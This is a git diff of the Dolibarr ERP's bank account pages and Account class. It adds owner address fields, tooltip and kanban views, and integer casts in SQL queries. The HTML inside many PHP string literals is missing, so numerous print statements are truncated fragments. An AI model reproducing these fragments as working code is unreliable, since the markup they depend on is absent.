      '; } print ''; diff --git a/htdocs/compta/ajaxpayment.php b/htdocs/compta/ajaxpayment.php index aeb8d164928..a0c45ff0ed0 100644 --- a/htdocs/compta/ajaxpayment.php +++ b/htdocs/compta/ajaxpayment.php @@ -72,6 +72,10 @@ if (is_array($remains)) { unset($remains[$key]); } } +} elseif ($remains) { + $remains = array(price2num($remains)); +} else { + $remains = array(); } // Treatment @@ -109,7 +113,7 @@ if ($currentInvId) { // Here to breakdown $result -= $amountToBreakdown; // And canceled substraction has been replaced by breakdown } // else there's no need to calc anything, just reset the field (result is still < 0) } - $toJsonArray['amount_'.$currentInvId] = price2num($currentAmount).""; // Param will exist only if an img has been clicked + $toJsonArray['amount_'.$currentInvId] = price2num($currentAmount); // Param will exist only if an img has been clicked } $toJsonArray['makeRed'] = ($totalRemaining < price2num($result) || price2num($result) < 0) ? true : false; diff --git a/htdocs/compta/bank/annuel.php b/htdocs/compta/bank/annuel.php index 610cf17498c..f3047dacf3e 100644 --- a/htdocs/compta/bank/annuel.php +++ b/htdocs/compta/bank/annuel.php @@ -39,6 +39,9 @@ $HEIGHT = DolGraph::getDefaultGraphSizeForStats('height', 160); $id = GETPOST('account') ?GETPOST('account', 'alpha') : GETPOST('id'); $ref = GETPOST('ref'); +// Initialize technical object to manage hooks of page. Note that conf->hooks_modules contains array of hook context +$hookmanager->initHooks(array('bankannualreport', 'globalcard')); + // Security check $fieldvalue = (!empty($id) ? $id : (!empty($ref) ? $ref : '')); $fieldtype = (!empty($ref) ? 'ref' : 'rowid'); @@ -460,7 +463,7 @@ if ($result < 0) { print '
      '; // do not use class="center" here, it will have no effect for the js graph inside. print $show2; print '
      '; - print '
      '; + print '
      '; } diff --git a/htdocs/compta/bank/bankentries_list.php b/htdocs/compta/bank/bankentries_list.php index c6ec38abded..a678c176ca7 100644 --- a/htdocs/compta/bank/bankentries_list.php +++ b/htdocs/compta/bank/bankentries_list.php @@ -175,7 +175,7 @@ $arrayfields = array( 'balance'=>array('label'=>$langs->trans("Balance"), 'checked'=>1, 'position'=>120), 'b.num_releve'=>array('label'=>$langs->trans("AccountStatement"), 'checked'=>1, 'position'=>130), 'b.conciliated'=>array('label'=>$langs->trans("BankLineReconciled"), 'enabled'=> $object->rappro, 'checked'=>($action == 'reconcile' ? 1 : 0), 'position'=>140), - 'b.fk_bordereau'=>array('label'=>$langs->trans("ChequeReceipt"), 'checked'=>0, 'position'=>150), + 'b.fk_bordereau'=>array('label'=>$langs->trans("ChequeNumber"), 'checked'=>0, 'position'=>150), ); // Extra fields include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_array_fields.tpl.php'; @@ -1134,8 +1134,8 @@ if ($resql) { } // Conciliated if (!empty($arrayfields['b.conciliated']['checked'])) { - print '
      '; - print $form->selectyesno('search_conciliated', $search_conciliated, 1, false, 1, 1); + print ''; + print $form->selectyesno('search_conciliated', $search_conciliated, 1, false, 1, 1, 'search_status onrightofpage maxwidth75'); print '
      '.$langs->trans("BankAccountCountry").''; - print img_picto('', 'country', 'class="pictofixedwidth"').$form->select_country($selectedcode, 'account_country_id'); + print img_picto('', 'country', 'class="pictofixedwidth"'); + print $form->select_country($selectedcode, 'account_country_id'); if ($user->admin) { print info_admin($langs->trans("YouCanChangeValuesForThisListFromDictionarySetup"), 1); } @@ -438,6 +447,14 @@ if ($action == 'create') { } print '
      '.$langs->trans("BankAccountDomiciliation").''; + print '
      '.$langs->trans("Web").''; @@ -512,9 +529,24 @@ if ($action == 'create') { print '
      '.$langs->trans($ibankey).'
      '.$langs->trans($bickey).'
      '.$langs->trans($val).'
      '.$langs->trans($ibankey).'
      '.$langs->trans($bickey).'
      '.$langs->trans("SEPAXMLPlacePaymentTypeInformationInCreditTransfertransactionInformation").' '; - print img_picto($langs->trans("SEPAXMLPlacePaymentTypeInformationInCreditTransfertransactionInformationHelp"), 'info'); + print '
      '.$form->textwithpicto($langs->trans("SEPAXMLPlacePaymentTypeInformationInCreditTransfertransactionInformation"), $langs->trans("SEPAXMLPlacePaymentTypeInformationInCreditTransfertransactionInformationHelp")).''; print '
      '; + print '
      '; - print '
      '.$langs->trans("BankAccountDomiciliation").''; - print '
      '.$langs->trans("BankAccountOwner").'
      '; + print ''; print ''; @@ -571,8 +588,22 @@ if ($action == 'create') { print (GETPOST('owner_address') ?GETPOST('owner_address', 'alpha') : $object->owner_address); print ""; + print ''; + print ''; + + print ''; + print ''; + + print ''; + print ''; + print '
      '.$langs->trans("BankAccountOwner").''; print '
      '.$langs->trans("BankAccountOwnerZip").''; + print '
      '.$langs->trans("BankAccountOwnerTown").''; + print '
      '.$langs->trans("BankAccountOwnerCountry").''; + print img_picto('', 'country', 'class="pictofixedwidth"'); + print $form->select_country(GETPOST('owner_country_id') ?GETPOST('owner_country_id', 'alpha') : $object->owner_country_id, 'owner_country_id'); + print '
      '; - print '
      '; + print '
      '; } print ''; @@ -721,15 +752,46 @@ if ($action == 'create') { print '
      '; if ($object->type == Account::TYPE_SAVINGS || $object->type == Account::TYPE_CURRENT) { - //print '
      '; - print ''; print ''; print ''; + $ibankey = FormBank::getIBANLabel($object); + $bickey = "BICNumber"; + if ($object->getCountryCode() == 'IN') { + $bickey = "SWIFT"; + } + + // IBAN + print ''; + print ''; + + // BIC + print ''; + print ''; + + // TODO Add a link "Show more..." for all ohter informations. + // Show fields of bank account foreach ($object->getFieldsToShow() as $val) { + $content = ''; if ($val == 'BankCode') { $content = $object->code_banque; } elseif ($val == 'DeskCode') { @@ -745,34 +807,6 @@ if ($action == 'create') { print ''; } - $ibankey = FormBank::getIBANLabel($object); - $bickey = "BICNumber"; - if ($object->getCountryCode() == 'IN') { - $bickey = "SWIFT"; - } - - print ''; - print ''; - - print ''; - print ''; - if (isModEnabled('prelevement')) { print ''; print ''; @@ -785,16 +819,11 @@ if ($action == 'create') { print ''; print ''; - print '\n"; } - print '\n"; - print '\n"; @@ -803,6 +832,22 @@ if ($action == 'create') { print nl2br($object->owner_address); print "\n"; + print ''; + print ''; + + print ''; + print ''; + + print ''; + print ''; + print '
      '.$langs->trans("BankName").''.$object->bank.'
      '.$langs->trans($ibankey).''.getIbanHumanReadable($object).' '; + if (!empty($object->iban)) { + if (!checkIbanForAccount($object)) { + print img_picto($langs->trans("IbanNotValid"), 'warning'); + } else { + print img_picto($langs->trans("IbanValid"), 'info'); + } + } + print '
      '.$langs->trans($bickey).''.$object->bic.' '; + if (!empty($object->bic)) { + if (!checkSwiftForAccount($object)) { + print img_picto($langs->trans("SwiftNotValid"), 'warning'); + } else { + print img_picto($langs->trans("SwiftValid"), 'info'); + } + } + print '
      '.$langs->trans($ibankey).''.getIbanHumanReadable($object).' '; - if (!empty($object->iban)) { - if (!checkIbanForAccount($object)) { - print img_picto($langs->trans("IbanNotValid"), 'warning'); - } else { - print img_picto($langs->trans("IbanValid"), 'info'); - } - } - print '
      '.$langs->trans($bickey).''.$object->bic.' '; - if (!empty($object->bic)) { - if (!checkSwiftForAccount($object)) { - print img_picto($langs->trans("SwiftNotValid"), 'warning'); - } else { - print img_picto($langs->trans("SwiftValid"), 'info'); - } - } - print '
      '.$form->textwithpicto($langs->trans("ICS"), $langs->trans("ICS").' ('.$langs->trans("UsedFor", $langs->transnoentitiesnoconv("StandingOrder")).')').''.$object->ics.''.$object->ics_transfer.'
      '.$langs->trans("SEPAXMLPlacePaymentTypeInformationInCreditTransfertransactionInformation").''; - print (empty($object->pti_in_ctti) ? $langs->trans("No") : $langs->trans("Yes")) . ' '; - print img_picto($langs->trans("SEPAXMLPlacePaymentTypeInformationInCreditTransfertransactionInformationHelp"), 'info'); + print '
      '.$form->textwithpicto($langs->trans("SEPAXMLPlacePaymentTypeInformationInCreditTransfertransactionInformation"), $langs->trans("SEPAXMLPlacePaymentTypeInformationInCreditTransfertransactionInformationHelp")).''; + print (empty($object->pti_in_ctti) ? $langs->trans("No") : $langs->trans("Yes")); print "
      '.$langs->trans("BankAccountDomiciliation").''; - print nl2br($object->domiciliation); - print "
      '.$langs->trans("BankAccountOwner").''; print $object->proprio; print "
      '.$langs->trans("BankAccountOwnerZip").''.$object->owner_zip; + print '
      '.$langs->trans("BankAccountOwnerTown").''.$object->owner_town; + print '
      '.$langs->trans("BankAccountOwnerCountry").''; + $object->owner_country_code = dol_getIdFromCode($db, $object->owner_country_id, 'c_country', 'rowid', 'code'); + $langs->load("dict"); + print (empty($object->owner_country_code) ? '' : $langs->convToOutputCharset($langs->transnoentitiesnoconv("Country".$object->owner_country_code))); + + print '
      '; } @@ -861,6 +906,7 @@ if ($action == 'create') { print ''; print ''; print ''."\n\n"; + print ''; print dol_get_fiche_head(array(), 0, '', 0); @@ -931,6 +977,14 @@ if ($action == 'create') { } print '
      '.$langs->trans("BankAccountDomiciliation").''; + print '
      '.$langs->trans("Conciliable").''; @@ -940,7 +994,7 @@ if ($action == 'create') { } elseif ($conciliate == -3) { print $langs->trans("No").' ('.$langs->trans("Closed").')'; } else { - print ' 0) ? '' : ' checked="checked"').'"> '; + print ' 0) ? '' : ' checked="checked"').'"> '; } print '
      '; - print '
      '; + print '
      '; //print '
      '; @@ -1028,40 +1082,13 @@ if ($action == 'create') { if ($type == Account::TYPE_SAVINGS || $type == Account::TYPE_CURRENT) { print '
      '; - //print '
      '; - print ''; // If bank account print ''; - print ''; + print ''; print ''; - // Show fields of bank account - foreach ($object->getFieldsToShow() as $val) { - if ($val == 'BankCode') { - $name = 'code_banque'; - $size = 8; - $content = $object->code_banque; - } elseif ($val == 'DeskCode') { - $name = 'code_guichet'; - $size = 8; - $content = $object->code_guichet; - } elseif ($val == 'BankAccountNumber') { - $name = 'number'; - $size = 18; - $content = $object->number; - } elseif ($val == 'BankAccountNumberKey') { - $name = 'cle_rib'; - $size = 3; - $content = $object->cle_rib; - } - - print ''; - print ''; - print ''; - } - $ibankey = FormBank::getIBANLabel($object); $bickey = "BICNumber"; if ($object->getCountryCode() == 'IN') { @@ -1072,9 +1099,36 @@ if ($action == 'create') { print ''; print ''; + // BIC print ''; print ''; + // Show fields of bank account + foreach ($object->getFieldsToShow() as $val) { + $content = ''; + if ($val == 'BankCode') { + $name = 'code_banque'; + $css = 'with100'; + $content = $object->code_banque; + } elseif ($val == 'DeskCode') { + $name = 'code_guichet'; + $css = 'with100'; + $content = $object->code_guichet; + } elseif ($val == 'BankAccountNumber') { + $name = 'number'; + $css = 'with200'; + $content = $object->number; + } elseif ($val == 'BankAccountNumberKey') { + $name = 'cle_rib'; + $css = 'with50'; + $content = $object->cle_rib; + } + + print ''; + print ''; + print ''; + } + if (isModEnabled('prelevement')) { print ''; print ''; @@ -1084,26 +1138,39 @@ if ($action == 'create') { print ''; print ''; - print ''; - print ''; + print ''; } - print '"; - print ''; print ''; print ''; - print '
      '.$langs->trans("BankName").'
      '.$langs->trans($val).'
      '.$langs->trans($ibankey).'
      '.$langs->trans($bickey).'
      '.$langs->trans($val).'
      '.$form->textwithpicto($langs->trans("ICS"), $langs->trans("ICS").' ('.$langs->trans("UsedFor", $langs->transnoentitiesnoconv("StandingOrder")).')').'
      '.$form->textwithpicto($langs->trans("IDS"), $langs->trans("IDS").' ('.$langs->trans("UsedFor", $langs->transnoentitiesnoconv("BankTransfer")).')').'
      '.$langs->trans("SEPAXMLPlacePaymentTypeInformationInCreditTransfertransactionInformation").'pti_in_ctti ? ' checked ' : '') . '> '; - print img_picto($langs->trans("SEPAXMLPlacePaymentTypeInformationInCreditTransfertransactionInformationHelp"), 'info'); + print '
      '.$form->textwithpicto($langs->trans("SEPAXMLPlacePaymentTypeInformationInCreditTransfertransactionInformation"), $langs->trans("SEPAXMLPlacePaymentTypeInformationInCreditTransfertransactionInformationHelp")).'pti_in_ctti ? ' checked ' : '') . '>'; print '
      '.$langs->trans("BankAccountDomiciliation").''; - print '
      '.$langs->trans("BankAccountOwner").'
      '.$langs->trans("BankAccountOwnerAddress").''; + print '
      '; + print '
      '; + + print ''; + + print '"; + print ''; + print ''; + + print ''; + print ''; + + print ''; + print ''; + print '
      '.$langs->trans("BankAccountOwnerAddress").''; print '
      '.$langs->trans("BankAccountOwnerZip").''; + print '
      '.$langs->trans("BankAccountOwnerTown").''; + print '
      '.$langs->trans("BankAccountOwnerCountry").''; + print img_picto('', 'country', 'class="pictofixedwidth"'); + print $form->select_country(GETPOST('owner_country_id') ?GETPOST('owner_country_id', 'alpha') : $object->owner_country_id, 'owner_country_id'); + print '
      '; } diff --git a/htdocs/compta/bank/class/account.class.php b/htdocs/compta/bank/class/account.class.php index 6549809b803..4b17f3baab0 100644 --- a/htdocs/compta/bank/class/account.class.php +++ b/htdocs/compta/bank/class/account.class.php @@ -9,6 +9,7 @@ * Copyright (C) 2015-2017 Alexandre Spangaro * Copyright (C) 2016 Ferran Marcet * Copyright (C) 2019 JC Prieto + * Copyright (C) 2022-2023 Frédéric France * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by @@ -29,6 +30,7 @@ * \ingroup bank * \brief File of class to manage bank accounts */ + require_once DOL_DOCUMENT_ROOT.'/core/class/commonobject.class.php'; @@ -145,12 +147,6 @@ class Account extends CommonObject */ public $iban_prefix; - /** - * Address of the bank - * @var string - */ - public $domiciliation; - /** * XML SEPA format: place Payment Type Information (PmtTpInf) in Credit Transfer Transaction Information (CdtTrfTxInf) * @var int @@ -168,7 +164,17 @@ class Account extends CommonObject * @var string */ public $owner_address; + public $owner_zip; + public $owner_town; + public $owner_country_id; + public $owner_country_code; + /** + * Address of the bank account + * @var string + */ + public $domiciliation; // deprecated, use now address + public $address; public $state_id; public $state_code; public $state; @@ -239,6 +245,20 @@ class Account extends CommonObject */ public $date_solde; + /** + * Balance. Used in Account::create + * @var float + * @deprecated + * @see $balance + */ + public $solde; + + /** + * Balance. Used in Account::create + * @var float + */ + public $balance; + /** * Creditor Identifier CI. Some banks use different ICS for direct debit and bank tranfer * @var string @@ -296,10 +316,13 @@ class Account extends CommonObject 'country_iban' =>array('type'=>'varchar(2)', 'label'=>'Country iban', 'enabled'=>1, 'visible'=>-1, 'position'=>75), 'cle_iban' =>array('type'=>'varchar(2)', 'label'=>'Cle iban', 'enabled'=>1, 'visible'=>-1, 'position'=>80), 'domiciliation' =>array('type'=>'varchar(255)', 'label'=>'Domiciliation', 'enabled'=>1, 'visible'=>-1, 'position'=>85), - 'state_id' =>array('type'=>'integer', 'label'=>'State id', 'enabled'=>1, 'visible'=>-1, 'position'=>90), - 'fk_pays' =>array('type'=>'integer', 'label'=>'Fk pays', 'enabled'=>1, 'visible'=>-1, 'notnull'=>1, 'position'=>95), + 'state_id' =>array('type'=>'integer', 'label'=>'StateId', 'enabled'=>1, 'visible'=>-1, 'position'=>90), + 'fk_pays' =>array('type'=>'integer', 'label'=>'Country', 'enabled'=>1, 'visible'=>-1, 'notnull'=>1, 'position'=>95), 'proprio' =>array('type'=>'varchar(60)', 'label'=>'Proprio', 'enabled'=>1, 'visible'=>-1, 'position'=>100), - 'owner_address' =>array('type'=>'text', 'label'=>'Owner address', 'enabled'=>1, 'visible'=>-1, 'position'=>105), + 'owner_address' =>array('type'=>'varchar(255)', 'label'=>'Owner address', 'enabled'=>1, 'visible'=>-1, 'position'=>105), + 'owner_zip' =>array('type'=>'varchar(25)', 'label'=>'Owner zip', 'enabled'=>1, 'visible'=>-1, 'position'=>106), + 'owner_town' =>array('type'=>'varchar(50)', 'label'=>'Owner town', 'enabled'=>1, 'visible'=>-1, 'position'=>107), + 'owner_country_id' =>array('type'=>'integer', 'label'=>'Owner country', 'enabled'=>1, 'visible'=>-1, 'position'=>108), 'courant' =>array('type'=>'smallint(6)', 'label'=>'Courant', 'enabled'=>1, 'visible'=>-1, 'notnull'=>1, 'position'=>110), 'clos' =>array('type'=>'smallint(6)', 'label'=>'Clos', 'enabled'=>1, 'visible'=>-1, 'notnull'=>1, 'position'=>115), 'rappro' =>array('type'=>'smallint(6)', 'label'=>'Rappro', 'enabled'=>1, 'visible'=>-1, 'position'=>120), @@ -315,7 +338,7 @@ class Account extends CommonObject 'tms' =>array('type'=>'timestamp', 'label'=>'DateModification', 'enabled'=>1, 'visible'=>-1, 'notnull'=>1, 'position'=>157), 'fk_user_author' =>array('type'=>'integer:User:user/class/user.class.php', 'label'=>'Fk user author', 'enabled'=>1, 'visible'=>-1, 'position'=>160), 'fk_user_modif' =>array('type'=>'integer:User:user/class/user.class.php', 'label'=>'UserModif', 'enabled'=>1, 'visible'=>-2, 'notnull'=>-1, 'position'=>165), - 'note_public' =>array('type'=>'text', 'label'=>'NotePublic', 'enabled'=>1, 'visible'=>0, 'position'=>170), + 'note_public' =>array('type'=>'html', 'label'=>'NotePublic', 'enabled'=>1, 'visible'=>0, 'position'=>170), 'model_pdf' =>array('type'=>'varchar(255)', 'label'=>'Model pdf', 'enabled'=>1, 'visible'=>0, 'position'=>175), 'import_key' =>array('type'=>'varchar(14)', 'label'=>'ImportId', 'enabled'=>1, 'visible'=>-2, 'position'=>180), 'extraparams' =>array('type'=>'varchar(255)', 'label'=>'Extraparams', 'enabled'=>1, 'visible'=>-1, 'position'=>185), @@ -697,6 +720,9 @@ class Account extends CommonObject $sql .= ", pti_in_ctti"; $sql .= ", proprio"; $sql .= ", owner_address"; + $sql .= ", owner_zip"; + $sql .= ", owner_town"; + $sql .= ", owner_country_id"; $sql .= ", currency_code"; $sql .= ", rappro"; $sql .= ", min_allowed"; @@ -712,7 +738,7 @@ class Account extends CommonObject $sql .= ", '".$this->db->escape($this->label)."'"; $sql .= ", ".((int) $conf->entity); $sql .= ", '".$this->db->escape($this->account_number)."'"; - $sql .= ", ".($this->fk_accountancy_journal > 0 ? $this->db->escape($this->fk_accountancy_journal) : "null"); + $sql .= ", ".($this->fk_accountancy_journal > 0 ? ((int) $this->fk_accountancy_journal) : "null"); $sql .= ", '".$this->db->escape($this->bank)."'"; $sql .= ", '".$this->db->escape($this->code_banque)."'"; $sql .= ", '".$this->db->escape($this->code_guichet)."'"; @@ -724,6 +750,9 @@ class Account extends CommonObject $sql .= ", ".((int) $this->pti_in_ctti); $sql .= ", '".$this->db->escape($this->proprio)."'"; $sql .= ", '".$this->db->escape($this->owner_address)."'"; + $sql .= ", '".$this->db->escape($this->owner_zip)."'"; + $sql .= ", '".$this->db->escape($this->owner_town)."'"; + $sql .= ", ".($this->owner_country_id > 0 ? ((int) $this->owner_country_id) : "null"); $sql .= ", '".$this->db->escape($this->currency_code)."'"; $sql .= ", ".((int) $this->rappro); $sql .= ", ".price2num($this->min_allowed, 'MT'); @@ -835,7 +864,7 @@ class Account extends CommonObject $sql .= ",rappro = ".((int) $this->rappro); $sql .= ",url = ".($this->url ? "'".$this->db->escape($this->url)."'" : "null"); $sql .= ",account_number = '".$this->db->escape($this->account_number)."'"; - $sql .= ",fk_accountancy_journal = ".($this->fk_accountancy_journal > 0 ? $this->db->escape($this->fk_accountancy_journal) : "null"); + $sql .= ",fk_accountancy_journal = ".($this->fk_accountancy_journal > 0 ? ((int) $this->fk_accountancy_journal) : "null"); $sql .= ",bank = '".$this->db->escape($this->bank)."'"; $sql .= ",code_banque='".$this->db->escape($this->code_banque)."'"; $sql .= ",code_guichet='".$this->db->escape($this->code_guichet)."'"; @@ -847,12 +876,15 @@ class Account extends CommonObject $sql .= ",pti_in_ctti=".((int) $this->pti_in_ctti); $sql .= ",proprio = '".$this->db->escape($this->proprio)."'"; $sql .= ",owner_address = '".$this->db->escape($this->owner_address)."'"; + $sql .= ",owner_zip = '".$this->db->escape($this->owner_zip)."'"; + $sql .= ",owner_town = '".$this->db->escape($this->owner_town)."'"; + $sql .= ",owner_country_id = ".($this->owner_country_id > 0 ? ((int) $this->owner_country_id) : "null"); $sql .= ",currency_code = '".$this->db->escape($this->currency_code)."'"; $sql .= ",min_allowed = ".($this->min_allowed != '' ? price2num($this->min_allowed) : "null"); $sql .= ",min_desired = ".($this->min_desired != '' ? price2num($this->min_desired) : "null"); - $sql .= ",comment = '".$this->db->escape($this->comment)."'"; + $sql .= ",comment = '".$this->db->escape($this->comment)."'"; $sql .= ",state_id = ".($this->state_id > 0 ? ((int) $this->state_id) : "null"); $sql .= ",fk_pays = ".($this->country_id > 0 ? ((int) $this->country_id) : "null"); @@ -930,6 +962,9 @@ class Account extends CommonObject $sql .= ",domiciliation='".$this->db->escape($this->domiciliation)."'"; $sql .= ",proprio = '".$this->db->escape($this->proprio)."'"; $sql .= ",owner_address = '".$this->db->escape($this->owner_address)."'"; + $sql .= ",owner_zip = '".$this->db->escape($this->owner_zip)."'"; + $sql .= ",owner_town = '".$this->db->escape($this->owner_town)."'"; + $sql .= ",owner_country_id = ".($this->owner_country_id > 0 ? ((int) $this->owner_country_id) : "null"); $sql .= ",state_id = ".($this->state_id > 0 ? $this->state_id : "null"); $sql .= ",fk_pays = ".($this->country_id > 0 ? $this->country_id : "null"); $sql .= " WHERE rowid = ".((int) $this->id); @@ -966,13 +1001,13 @@ class Account extends CommonObject $sql = "SELECT ba.rowid, ba.ref, ba.label, ba.bank, ba.number, ba.courant, ba.clos, ba.rappro, ba.url,"; $sql .= " ba.code_banque, ba.code_guichet, ba.cle_rib, ba.bic, ba.iban_prefix as iban,"; - $sql .= " ba.domiciliation, ba.pti_in_ctti, ba.proprio, ba.owner_address, ba.state_id, ba.fk_pays as country_id,"; + $sql .= " ba.domiciliation as address, ba.pti_in_ctti, ba.proprio, ba.owner_address, ba.owner_zip, ba.owner_town, ba.owner_country_id, ba.state_id, ba.fk_pays as country_id,"; $sql .= " ba.account_number, ba.fk_accountancy_journal, ba.currency_code,"; $sql .= " ba.min_allowed, ba.min_desired, ba.comment,"; $sql .= " ba.datec as date_creation, ba.tms as date_update, ba.ics, ba.ics_transfer,"; $sql .= ' c.code as country_code, c.label as country,'; - $sql .= ' d.code_departement as state_code, d.nom as state'; - $sql .= ' , aj.code as accountancy_journal'; + $sql .= ' d.code_departement as state_code, d.nom as state,'; + $sql .= ' aj.code as accountancy_journal'; $sql .= " FROM ".MAIN_DB_PREFIX."bank_account as ba"; $sql .= ' LEFT JOIN '.MAIN_DB_PREFIX.'c_country as c ON ba.fk_pays = c.rowid'; $sql .= ' LEFT JOIN '.MAIN_DB_PREFIX.'c_departements as d ON ba.state_id = d.rowid'; @@ -1008,10 +1043,14 @@ class Account extends CommonObject $this->cle_rib = $obj->cle_rib; $this->bic = $obj->bic; $this->iban = $obj->iban; - $this->domiciliation = $obj->domiciliation; + $this->domiciliation = $obj->address; + $this->address = $obj->address; $this->pti_in_ctti = $obj->pti_in_ctti; $this->proprio = $obj->proprio; $this->owner_address = $obj->owner_address; + $this->owner_zip = $obj->owner_zip; + $this->owner_town = $obj->owner_town; + $this->owner_country_id = $obj->owner_country_id; $this->state_id = $obj->state_id; $this->state_code = $obj->state_code; @@ -1046,7 +1085,7 @@ class Account extends CommonObject return 0; } } else { - $this->error = $this->db->lasterror; + $this->error = $this->db->lasterror(); $this->errors[] = $this->error; return -1; } @@ -1059,8 +1098,8 @@ class Account extends CommonObject * Adds it to non existing supplied categories. * Existing categories are left untouch. * - * @param int[]|int $categories Category or categories IDs - * @return void + * @param int[]|int $categories Category or categories IDs + * @return int <0 if KO, >0 if OK */ public function setCategories($categories) { @@ -1076,12 +1115,12 @@ class Account extends CommonObject */ public function delete(User $user = null) { - global $conf; - $error = 0; $this->db->begin(); + // @TODO Check there is no child into llx_payment_various, ... to allow deletion ? + // Delete link between tag and bank account if (!$error) { $sql = "DELETE FROM ".MAIN_DB_PREFIX."categorie_account"; @@ -1095,8 +1134,8 @@ class Account extends CommonObject } if (!$error) { - $sql = "DELETE FROM ".MAIN_DB_PREFIX."bank_account"; - $sql .= " WHERE rowid = ".((int) $this->rowid); + $sql = "DELETE FROM ".MAIN_DB_PREFIX.$this->table_element; + $sql .= " WHERE rowid = ".((int) $this->id); dol_syslog(get_class($this)."::delete", LOG_DEBUG); $result = $this->db->query($sql); @@ -1368,6 +1407,49 @@ class Account extends CommonObject return $nb; } + /** + * getTooltipContentArray + * + * @param array $params Params to construct tooltip data + * @since v18 + * @return array + */ + public function getTooltipContentArray($params) + { + global $langs; + $langs->loadLangs(['banks', 'compta']); + include_once DOL_DOCUMENT_ROOT.'/core/lib/bank.lib.php'; + + $datas = array(); + + $nofetch = !empty($params['nofetch']); + $pictos = img_picto('', $this->picto).' '.$langs->trans("BankAccount").''; + if (isset($this->status)) { + $pictos .= ' '.$this->getLibStatut(5); + } + $datas['picto'] = $pictos; + $datas['label'] = '
      '.$langs->trans('Label').': '.$this->label; + $datas['accountnumber'] = '
      '.$langs->trans('AccountNumber').': '.$this->number; + $datas['iban'] = '
      '.$langs->trans('IBAN').': '.getIbanHumanReadable($this); + $datas['bic'] = '
      '.$langs->trans('BIC').': '.$this->bic; + $datas['accountcurrency'] = '
      '.$langs->trans("AccountCurrency").': '.$this->currency_code; + + if (isModEnabled('accounting')) { + include_once DOL_DOCUMENT_ROOT.'/core/lib/accounting.lib.php'; + $langs->load("accountancy"); + $datas['accountaccounting'] = '
      '.$langs->trans('AccountAccounting').': '.length_accountg($this->account_number); + $datas['accountancyjournal'] = '
      '.$langs->trans('AccountancyJournal').': '.$this->accountancy_journal; + } + // show categories for this record only in ajax to not overload lists + if (isModEnabled('categorie') && !$nofetch) { + require_once DOL_DOCUMENT_ROOT . '/categories/class/categorie.class.php'; + $form = new Form($this->db); + $datas['categories'] = '
      ' . $form->showCategories($this->id, Categorie::TYPE_ACCOUNT, 1); + } + + return $datas; + } + /** * Return clicable name (with picto eventually) * @@ -1384,28 +1466,25 @@ class Account extends CommonObject include_once DOL_DOCUMENT_ROOT.'/core/lib/bank.lib.php'; $result = ''; - $label = img_picto('', $this->picto).' '.$langs->trans("BankAccount").''; - if (isset($this->status)) { - $label .= ' '.$this->getLibStatut(5); - } - $label .= '
      '.$langs->trans('Label').': '.$this->label; - $label .= '
      '.$langs->trans('AccountNumber').': '.$this->number; - $label .= '
      '.$langs->trans('IBAN').': '.getIbanHumanReadable($this); - $label .= '
      '.$langs->trans('BIC').': '.$this->bic; - $label .= '
      '.$langs->trans("AccountCurrency").': '.$this->currency_code; - - if (empty($user->rights->banque->lire) || !empty($user->socid)) { - $option = 'nolink'; + $classfortooltip = 'classfortooltip'; + $dataparams = ''; + $params = [ + 'id' => $this->id, + 'objecttype' => $this->element, + 'option' => $option, + 'nofetch' => 1, + ]; + if (getDolGlobalInt('MAIN_ENABLE_AJAX_TOOLTIP')) { + $classfortooltip = 'classforajaxtooltip'; + $dataparams = ' data-params="'.dol_escape_htmltag(json_encode($params)).'"'; + $label = ''; + } else { + $label = implode($this->getTooltipContentArray($params)); } - if (isModEnabled('accounting')) { - include_once DOL_DOCUMENT_ROOT.'/core/lib/accounting.lib.php'; - $langs->load("accountancy"); - $label .= '
      '.$langs->trans('AccountAccounting').': '.length_accountg($this->account_number); - $label .= '
      '.$langs->trans('AccountancyJournal').': '.$this->accountancy_journal; - } - - $linkclose = '" title="'.dol_escape_htmltag($label, 1).'" class="classfortooltip">'; + $linkclose = ''; + $linkclose .= ($label ? ' title="'.dol_escape_htmltag($label, 1).'"' : ' title="tocomplete"'); + $linkclose .= $dataparams.' class="'.$classfortooltip.'">'; $url = DOL_URL_ROOT.'/compta/bank/card.php?id='.$this->id; if ($mode == 'transactions') { @@ -1435,7 +1514,7 @@ class Account extends CommonObject $result .= $linkstart; if ($withpicto) { - $result .= img_object(($notooltip ? '' : $label), $this->picto, ($notooltip ? (($withpicto != 2) ? 'class="paddingright"' : '') : 'class="'.(($withpicto != 2) ? 'paddingright ' : '').'classfortooltip"'), 0, 0, $notooltip ? 0 : 1); + $result .= img_object(($notooltip ? '' : $label), $this->picto, ($notooltip ? (($withpicto != 2) ? 'class="paddingright"' : '') : $dataparams.' class="'.(($withpicto != 2) ? 'paddingright ' : '').$classfortooltip.'"'), 0, 0, $notooltip ? 0 : 1); } if ($withpicto != 2) { $result .= $this->ref.($option == 'reflabel' && $this->label ? ' - '.$this->label : ''); @@ -1724,6 +1803,9 @@ class Account extends CommonObject $this->domiciliation = 'Banque de France'; $this->proprio = 'Owner'; $this->owner_address = 'Owner address'; + $this->owner_zip = 'Owner zip'; + $this->owner_town = 'Owner town'; + $this->owner_country_id = 'Owner country_id'; $this->country_id = 1; } @@ -1747,13 +1829,53 @@ class Account extends CommonObject return false; } } + + /** + * Return clicable link of object (with eventually picto) + * + * @param string $option Where point the link (0=> main card, 1,2 => shipment, 'nolink'=>No link) + * @param array $arraydata Array of data + * @return string HTML Code for Kanban thumb. + */ + public function getKanbanView($option = '', $arraydata = null) + { + global $langs; + + $selected = (empty($arraydata['selected']) ? 0 : $arraydata['selected']); + + $return = '
      '; + $return .= '
      '; + $return .= ''; + $return .= img_picto('', $this->picto); + $return .= ''; + $return .= '
      '; + $return .= ''.(method_exists($this, 'getNomUrl') ? $this->getNomUrl() : $this->ref).''; + $return .= ''; + + if (property_exists($this, 'type_lib')) { + $return .= '
      '.substr($this->type_lib[$this->type], 0, 24).'...'; + } + if (method_exists($this, 'solde')) { + $return .= '
      '; + $return .= ''.$langs->trans("Balance").' : '.price(price2num($this->solde(1), 'MT'), 0, $langs, 1, -1, -1, $this->currency_code).''; + } + if (method_exists($this, 'getLibStatut')) { + $return .= '
      '.$this->getLibStatut(3).'
      '; + } + $return .= '
      '; + $return .= '
      '; + $return .= '
